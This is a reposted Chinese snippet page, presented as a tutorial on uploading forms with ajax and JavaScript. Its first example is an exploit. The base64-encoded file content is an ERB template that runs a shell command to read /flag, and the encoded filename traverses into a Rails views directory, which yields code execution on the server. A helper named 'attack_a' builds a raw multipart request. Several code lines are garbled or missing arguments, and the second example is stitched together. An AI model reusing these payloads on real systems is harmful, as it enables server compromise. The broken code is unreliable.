ajax上传表单的俩种方式
发布时间:2020-12-16 03:00:28 所属栏目:百科 来源:网络整理
导读:1.用h5对象上传表单(图片) var formData = new FormData(); formData.append( "authenticity_token",‘1212121212‘ ); formData.append( "file[context]","zxcvxzcvxzcv" ); var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘; // 这是文件内容的base64 va
1.用h5对象上传表单(图片) var formData = new FormData(); formData.append("authenticity_token",‘1212121212‘); formData.append("file[context]","zxcvxzcvxzcv"); var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘; //这是文件内容的base64 var blob = new Blob([content],{ type: "image/png"}); formData.append("file[myfile]",blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64 formData.append("commit",‘submit‘); var request = new XMLHttpRequest(); request.open("POST","https://xz.aliyun.com/t/3245"); request.send(formData); 请求体 ------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2 Content-Disposition: form-data; name="authenticity_token" 1212121212 ------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2 Content-Disposition: form-data; name="file[context]" zxcvxzcvxzcv ------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2 Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi" Content-Type: image/png PCU9IGBjYXQgL2ZsYWcgYCAlPg== ------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2 Content-Disposition: form-data; name="commit" submit ------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2-- 1.用h5对象上传表单(txt) var formData = new FormData(); var content = ‘testestestes‘; //这是文件内容的base64 var blob = new Blob([content],{ type: "text/plain"}); formData.append("file[myfile]","haha.txt"); //这里是文件名的base64 formData.append("commit","https://xz.aliyun.com/t/3245"); request.send(formData); 请求体 ------WebKitFormBoundaryFcFYtbPnXsiq8yjI Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt" Content-Type: text/plain testestestes ------WebKitFormBoundaryFcFYtbPnXsiq8yjI Content-Disposition: form-data; name="commit" submit ------WebKitFormBoundaryFcFYtbPnXsiq8yjI-- 2.使用原生js上传表单数据 通过余弦这个网站辅助生成表单 xhr = function(){ /*AJAX*/ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { try { request = new window.ActiveXObject(‘Microsoft.XMLHTTP‘); } catch(e) {} } return request; }(); request = function(method,src,argv,content_type){ xhr.open(method,false); if(method==‘POST‘)xhr.setRequestHeader(‘Content-Type‘,content_type); xhr.send(argv); return xhr.responseText; } attack_a = function(){ var src = "https://xz.aliyun.com"; var authenticity_token = "1212121212"; var file = "zxcvxzcvxzcv"; var argv_0 = "rn"; argv_0 += "---------------------7964f8dddeb95fc5rnContent-Disposition: form-data; name="authenticity_token"rnrn"; argv_0 += (authenticity_token+"rn"); argv_0 += "---------------------7964f8dddeb95fc5rnContent-Disposition: form-data; name="file"rnrn"; argv_0 += (file+"rn"); argv_0 += "---------------------7964f8dddeb95fc5--rn"; request("POST",argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5"); } 请求体: ---------------------7964f8dddeb95fc5 Content-Disposition: form-data; name="authenticity_token" 1212121212 ---------------------7964f8dddeb95fc5 Content-Disposition: form-data; name="file" zxcvxzcvxzcv ---------------------7964f8dddeb95fc5-- ? (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |